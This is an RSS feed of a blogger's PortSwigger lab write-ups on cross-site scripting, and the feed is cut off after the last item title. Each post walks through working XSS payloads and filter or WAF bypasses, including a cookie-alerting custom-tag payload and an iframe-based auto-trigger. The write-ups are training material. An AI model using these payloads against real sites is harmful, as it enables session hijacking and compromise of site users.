<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by KRY on Medium]]></title>
        <description><![CDATA[Stories by KRY on Medium]]></description>
        <link>https://medium.com/@cyberkry?source=rss-b5335c493e34------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*grRU5OdqKyAvaHqHjo3zTQ.jpeg</url>
            <title>Stories by KRY on Medium</title>
            <link>https://medium.com/@cyberkry?source=rss-b5335c493e34------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 14:33:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyberkry/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single…]]></title>
            <link>https://medium.com/@cyberkry/lab-stored-xss-into-onclick-event-with-angle-brackets-and-double-quotes-html-encoded-and-single-a9668548e194?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9668548e194</guid>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Mon, 19 Jan 2026 18:35:49 GMT</pubDate>
            <atom:updated>2026-01-19T18:35:49.546Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped</h3><h3>Description</h3><p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p><p>To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.</p><h3>Solution</h3><p>Let’s leave a comment and see where our input ends up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/772/1*zTmXxH8YZy4CKDbRwflYJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*uDtDd3dVnlCyTZtMZwUdtw.png" /></figure><p>Our input goes into the href and onclick attributes. Let’s try to exit our onclick tag using a bracket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*tnki2coSo6_J4D-mJHo-VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*-CWE5PG345F7h85cPTUOSA.png" /></figure><p>We can see that our bracket has been escaped, and even if we try to escape / slash, we will not be able to do so.</p><p>If we replace single quotes with their HTML encoding (‘), we can tell the browser that this character is part of the code, which allows our JavaScript insertion to be interpreted correctly.</p><p>We use this payload</p><pre>https://test4.com?&amp;apos;-alert(1)-&amp;apos;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*LZlZDuoe87rv8BXWsdAsfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*UlxbsQcN3PEssJu9gJLbSg.png" /></figure><p>After we click on our name, our attack will be triggered.</p><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a9668548e194" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and…]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-into-a-javascript-string-with-angle-brackets-and-double-quotes-html-encoded-and-27ee7876e930?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/27ee7876e930</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 12:10:48 GMT</pubDate>
            <atom:updated>2026-01-17T12:10:48.103Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</h3><h3>Description</h3><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.</p><h3>Solution</h3><p>As always, let’s check where our input goes by writing test.</p><pre> &lt;script&gt;<br>  var searchTerms = &#39;test&#39;;<br>  document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p>We can see that our input will enter the function, and the first thing we will try to do is exit this function.</p><p>If we enter our payload &#39; alert(123)</p><pre>&lt;script&gt;<br> var searchTerms = &#39;\&#39; alert(123)&#39;;<br> document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p>And we can see that our quotation mark was escaped in the task description, which stated that most of these characters were escaped, so let’s try to escape \ with the same character.</p><pre>\&#39;-alert(123)</pre><pre>&lt;script&gt;<br>  var searchTerms = &#39;\\&#39;-alert(1)&#39;;<br>  document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p>We almost managed to escape the function, we just need to shield ‘; Using double slashes //</p><pre>\&#39;-alert(1)//</pre><p>And this is what our source code looks like</p><pre>&lt;script&gt;<br>  var searchTerms = &#39;\\&#39;-alert(1)//&#39;;<br>  document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27ee7876e930" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-into-a-javascript-string-with-single-quote-and-backslash-escaped-73b92da50bdf?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/73b92da50bdf</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Sat, 17 Jan 2026 12:07:57 GMT</pubDate>
            <atom:updated>2026-01-17T12:07:57.061Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.</p><p>To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.</p><h3>Solution</h3><p>First, let’s see where our input goes.</p><pre>&lt;script&gt;<br>  var searchTerms = &#39;test&#39;;<br>  document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p>Let’s enter the word “test” and see that our input goes into the JavaScript function.</p><p>The first question is whether we can get out of this function.</p><p>let’s introduce &#39; alert(123)</p><pre>&lt;script&gt;<br>  var searchTerms = &#39;\&#39; alert(123)&#39;;<br>  document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>&lt;/script&gt;</pre><p>And we will see that our input was shielded even if we try to shield / then we will also fail.</p><p>But we can see that we are in &lt;script&gt;, so we can try to exit it and create a new one.</p><pre>&lt;/script&gt;&lt;script&gt;alert(123)&lt;/script&gt;</pre><p>And we successfully managed to carry out our attack.</p><p>This is what the source code looks like after</p><pre>&lt;script&gt;<br>                        var searchTerms = &#39;&lt;/script&gt;&lt;script&gt;alert(123)&lt;/script&gt;&#39;;<br>                        document.write(&#39;&lt;img src=&quot;/resources/images/tracker.gif?searchTerms=&#39;+encodeURIComponent(searchTerms)+&#39;&quot;&gt;&#39;);<br>                    &lt;/script&gt;</pre><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73b92da50bdf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS in canonical link tag]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-in-canonical-link-tag-6f5a47f54be6?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f5a47f54be6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Thu, 01 Jan 2026 02:13:29 GMT</pubDate>
            <atom:updated>2026-01-01T02:13:29.045Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab reflects user input in a canonical link tag and escapes angle brackets.</p><p>To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the alert function.</p><p>To assist with your exploit, you can assume that the simulated user will press the following key combinations:</p><pre>ALT+SHIFT+X<br><br>CTRL+ALT+X<br><br>Alt+X</pre><blockquote><em>Please note that the intended solution to this lab is only possible in Chrome.</em></blockquote><p>Since we don’t have a search field, we can create our own attribute in the link tag. Let’s see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*5SBbcSbcFxwZqmGDo6sREw.png" /></figure><p>Our attribute is enclosed in href, so we need to exit it using a bracket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*1kzkXbWyVJVk3JguY9bpMg.png" /></figure><p>we have exited href now we can use our onclick attribute</p><pre>&#39;onclick=alert(1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*C8oh9q3HdDPjE-FV_B5CkA.png" /></figure><p>Since our attribute is enclosed in quotation marks, we can try adding a quotation mark at the beginning of the alert.</p><pre>&#39;onclick=&#39;alert(1)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*s8cPD42M-LKJ_EPpvPBw4A.png" /></figure><p>Well, since the onclick attribute itself only works with visible objects, we need to use accesskey to activate the URL. Let’s set the value x as written in the task.</p><pre>&#39;accesskey=&#39;x&#39;onclick=&#39;alert(123)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*CnFR11wXSG1mKEOuj6szpA.png" /></figure><p>And now, when we press Alt x, the attack will work.</p><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f5a47f54be6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS with some SVG markup allowed]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-with-some-svg-markup-allowed-899e0674e44c?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/899e0674e44c</guid>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Thu, 01 Jan 2026 02:10:53 GMT</pubDate>
            <atom:updated>2026-01-01T02:10:53.470Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.</p><p>To solve the lab, perform a cross-site scripting attack that calls the alert() function.</p><h3>Solution</h3><p>By entering different tags into the search, we can see that most of them are blocked. Let’s find tags that we can use.</p><p>First, let’s intercept the request with Burp Suite. Then, let’s send it to Intruder. And let’s copy the tag dictionary from the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Cross-site scripting cheat sheet</a>.</p><p>Let’s launch the attack and see that we managed to detect two tags: &lt;svg&gt; and &lt;animatetransform&gt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*s0QWo-LANRyGY-l79nafSA.png" /></figure><p>Then we start searching for attributes in the same way, copy the dictionary from the cheat sheet, and begin the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*pP_f8L5iTHnISRCelHSMeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/1*yUZtlMzLuAoKfeW93QKzAw.png" /></figure><p>After the attack, we can see that we managed to detect one attribute, onbegin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*UoVXkrGggWmnK68QNCXCSw.png" /></figure><p>Now let’s use this payload data.</p><pre>&lt;svg&gt;&lt;animatetransform onbegin=&#39;alert(1)&#39;&gt;</pre><p>And we successfully complete the task</p><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=899e0674e44c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into HTML context with all tags blocked except custom ones]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-into-html-context-with-all-tags-blocked-except-custom-ones-bade322903de?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/bade322903de</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xx]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 14:50:43 GMT</pubDate>
            <atom:updated>2025-12-29T14:50:43.544Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab blocks all HTML tags except custom ones.</p><p>To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.</p><h3>Solution</h3><p>In the task description, we see that we need to use custom tags, such as &lt;exploit&gt;. If we enter h1 or any other HTML tag, it will be blocked by the firewall.</p><p>To solve this problem, we will use this payload.</p><pre>&lt;exploit onfocus=&#39;alert(document.cookie)&#39; id=&#39;x&#39; tabindex=&#39;1&#39;&gt;</pre><p>The onfocu event fires when an element receives focus, making it the currently active element ready for user interaction. This typically happens when a user clicks, tabs to, or touches the element.</p><p>alert(document.cookie) Calls up a cookie warning window</p><p>The id attribute serves as a singular identifier for an element in a document, facilitating its selection via CSS or JavaScript.</p><p>The tabindex=&#39;1&#39; attribute dictates the sequence for keyboard focus when tabbing through page elements</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*7YwbY2QS9v_gepVqUzhtnw.png" /></figure><p>If we click on the bracket, a window will appear and the attack will actually work, but it still requires user interaction, so let’s add #x to the end of the link.</p><pre>https://ID.web-security-academy.net/?search=%3Cexploit+onfocus%3D%27alert%28document.cookie%29%27+id%3D%27x%27+tabindex%3D%271%27%3E&gt;#x</pre><p>And it works. Now let’s move on to the exploit section and insert this payload, and then send it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*dItBzs-hqBMdP1V2tpQd8g.png" /></figure><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bade322903de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into HTML context with most tags and attributes blocked]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-xss-into-html-context-with-most-tags-and-attributes-blocked-55f97ceac9e7?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/55f97ceac9e7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 14:48:22 GMT</pubDate>
            <atom:updated>2025-12-29T14:48:22.080Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.</p><p>To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.</p><blockquote><em>Your solution must not require any user interaction. Manually causing print() to be called in your own browser will not solve the lab.</em></blockquote><h3>Solution</h3><p>Let’s go to the website and test the standard payload by entering &lt;script&gt;alert(123)&lt;/script&gt;. Nothing happened; this tag is blocked.</p><p>Let’s try entering &lt;&gt;. After entering it, we can see that these brackets are not escaped and a query is executed.</p><p>Our next step will be to find the working tag. Let’s use the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">cheat sheet</a> from PortSwigger and BurpSuite.</p><p>Let’s intercept the request using BurpSuite and perform a brute force attack using Intruder. Copy the tags from the cheat sheet and paste them into the dictionary. Then start the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/302/1*nSsYjKUdPwCoWLfMz2iCnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*KnUK1nQ5Bdyo6BwZ8dSx2w.png" /></figure><p>We were able to successfully detect several tags. Let’s select the body tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*IfMHA5vdMimVDToqfdZQ4g.png" /></figure><p>Let’s try inserting the following payload</p><pre>&lt;body onload=alert(1)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*mDhclIBrQxEq3nPeU0f_bg.png" /></figure><p>The tag worked successfully, but now there is a problem with the attribute. This attribute is blocked by the firewall and returns an error. Let’s find a working attribute in the same way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*8dJM9esv-UHKTZ1Syr_n-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*0ySTM82cuzS4oZyPrsFp9w.png" /></figure><p>After waiting a little while, we managed to find a couple of attributes, but let’s take a look at what the task description says.</p><blockquote><em>Your solution must not require any user interaction.</em></blockquote><p>This means that most attributes become unusable for us because they require some action from the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*lEZZ6tWGQXMVZQXr1NwtsA.png" /></figure><p>But the onresize tag may suit us.</p><p>The onresize event occurs when the browser window has been resized.</p><p>Let’s try our payload in action</p><pre>&lt;body onresize=print(1)&gt;</pre><p>The payload worked, but the window confirming XXS did not appear.</p><p>If we make the FireFox tab larger or smaller, the attack will work, but this is not what we expect, so we use the exploit button at the top.</p><p>Let’s use this payload</p><pre>&lt;iframe src=&quot;https://ID.web-security-academy.net/?search=search=%22%3E%3Cbody%20onresize=print()%3E&quot;onload=this.style.width=&#39;100px&#39;&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*DQlhLq2TOFehkkZ6PDRDYg.png" /></figure><p>Since the page is controlled by the attack, we can use &lt;iframe&gt; and the onload attribute in it.</p><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55f97ceac9e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Stored DOM XSS]]></title>
            <link>https://medium.com/@cyberkry/lab-stored-dom-xss-f9741b8d793a?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9741b8d793a</guid>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 12:59:51 GMT</pubDate>
            <atom:updated>2025-12-27T12:59:51.709Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function.</p><h3>Solution</h3><p>First, let’s see where our input goes. Looking through the developer tools, we can also see the file loadCommentsWithVulnerableEscapeHtml.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*VIOV75fL4BSGLSqnuPo4sw.png" /></figure><p>We could find it when sending a comment. Of course, in real life, such a file may not exist, but since this is a training task, such a file is here.</p><p>Let’s take a look at the vulnerability in this code.</p><pre> function escapeHTML(html) {<br>        return html.replace(&#39;&lt;&#39;, &#39;&amp;lt;&#39;).replace(&#39;&gt;&#39;, &#39;&amp;gt;&#39;);</pre><blockquote><em>replace() function to encode angle brackets</em></blockquote><p>Based on this line, we can see that angle brackets are escaped, but there is a problem with the replace function; specifically, in this example, only the first brackets are escaped.</p><p>Let’s send the text to &lt;h1&gt;</p><pre>&lt;h1&gt;KRY&lt;/h1&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/207/1*E6OFnVCOirAxxIW5kaAHIA.png" /></figure><p>After that, we can see that our first tag was successfully shielded, but the second one was not, which leads us to the idea of writing two tags at the beginning.</p><pre>&lt;h1&gt;&lt;h1&gt;KRY&lt;/h1&gt;</pre><p>And it worked. The first &lt;h1&gt; was successfully shielded, which ultimately allowed the second one to work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/1*FGXdoaHsWD79a9PvIcjyNQ.png" /></figure><p>Now we can carry out our attack. To do this, we no longer need to insert &lt;h1&gt;; we can simply insert &lt;&gt;.</p><pre>&lt;&gt;&lt;img src=&quot;1&quot; onerror=alert()&gt;</pre><p>What ultimately works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*fHNR-urUWTOKZIHLq1WhQg.png" /></figure><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f9741b8d793a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected DOM XSS]]></title>
            <link>https://medium.com/@cyberkry/lab-reflected-dom-xss-f8d536c0ece6?source=rss-b5335c493e34------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8d536c0ece6</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xx]]></category>
            <category><![CDATA[cyberkry]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[KRY]]></dc:creator>
            <pubDate>Sat, 27 Dec 2025 12:56:38 GMT</pubDate>
            <atom:updated>2025-12-27T12:56:38.673Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lUO_PCVxvr0Hvbbpo_nWPQ.webp" /></figure><h3>Description</h3><p>This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.</p><p>To solve this lab, create an injection that calls the alert() function.</p><h3>Solution</h3><p>As usual, let’s enter our data and see where our input appears after writing test. We can see that our input is placed in h1, but the second question is how it gets there. We have already been given a hint: we can find the external file /resources/js/searchResults.js, which we can examine.</p><p>The most dangerous place is this:</p><pre>function search(path) {<br>    var xhr = new XMLHttpRequest();<br>    xhr.onreadystatechange = function() {<br>        if (this.readyState == 4 &amp;&amp; this.status == 200) {<br>            eval(&#39;var searchResultsObj = &#39; + this.responseText);<br>            displaySearchResults(searchResultsObj);<br>        }<br>    };<br>    xhr.open(&quot;GET&quot;, path + window.location.search);<br>    xhr.send();</pre><pre>eval(&#39;var searchResultsObj = &#39; + this.responseText);</pre><p>This line:</p><p>interprets the response text as JavaScript code</p><p>Let’s intercept the request using BurpSuite.</p><p>If we enter our value in the search engine, it will appear in SearchTerm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/210/1*n5O63RCyJ_def6YJohuIDQ.png" /></figure><p>Let’s try to get out of it and use our payload.</p><pre>test&quot;-alert()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*g677mUQgvHDENPio-XdFfQ.png" /></figure><p>After entering this, we see that our bracket has been escaped with the \ symbol.</p><p>Let’s try to shield this sign in the same way using this payalod.</p><pre>test\&quot;-alert()</pre><p>Now we’re actually out, but let’s finish our quotation marks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*0TKgQyyyCjvqymH4cvuD9w.png" /></figure><pre>test\&quot;-alert()} //</pre><p>And this is what our final query looks like</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/255/1*UXA8LBUA91wPgngSg_MBIA.png" /></figure><p>and we were able to go out and fulfill our alert</p><p><strong>I hope you found this write-up useful. You can also visit my profiles:</strong></p><p>GitHub: <a href="https://github.com/CyberKRY">https://github.com/CyberKRY</a></p><p>TryHackMe: <a href="https://tryhackme.com/p/KRY">https://tryhackme.com/p/KRY</a></p><p>HackTheBox: <a href="https://app.hackthebox.com/users/2817850">https://app.hackthebox.com/users/2817850</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8d536c0ece6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded]]></title>
